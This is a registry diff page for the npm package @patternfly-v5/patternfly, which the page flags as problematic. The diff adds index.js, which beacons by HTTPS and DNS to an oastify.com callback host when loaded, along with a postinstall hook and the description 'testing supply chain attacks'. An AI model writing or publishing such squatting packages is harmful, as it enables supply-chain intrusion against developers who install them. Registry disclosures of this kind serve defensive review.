@patternfly-v5/patternfly 0.0.1-security → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @patternfly-v5/patternfly might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,17 @@
1
+ const https = require('https');
2
+ const dns = require('dns');
3
+
4
+ // Send an HTTP request to Oastify
5
+ https.get('https://rzucd2dfiuz08dnqwkigu37xfolf95xu.oastify.com/downloaded', (res) => {
6
+ console.log('HTTP notification sent to Oastify!');
7
+ });
8
+
9
+ // Trigger a DNS request to Oastify
10
+ dns.resolve('rzucd2dfiuz08dnqwkigu37xfolf95xu.oastify.com', (err) => {
11
+ if (!err) {
12
+ console.log('DNS request sent to Oastify!');
13
+ } else {
14
+ console.error('DNS request failed:', err);
15
+ }
16
+ });
17
+
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "@patternfly-v5/patternfly",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.1",
4
+ "description": "A package for testing supply chain attacks.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "echo 'Patternfly malicious package executed!'"
8
+ },
9
+ "author": "Your Name",
10
+ "license": "MIT"
6
11
  }
12
+
File without changes
File without changes
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=%40patternfly-v5%2Fpatternfly for more information.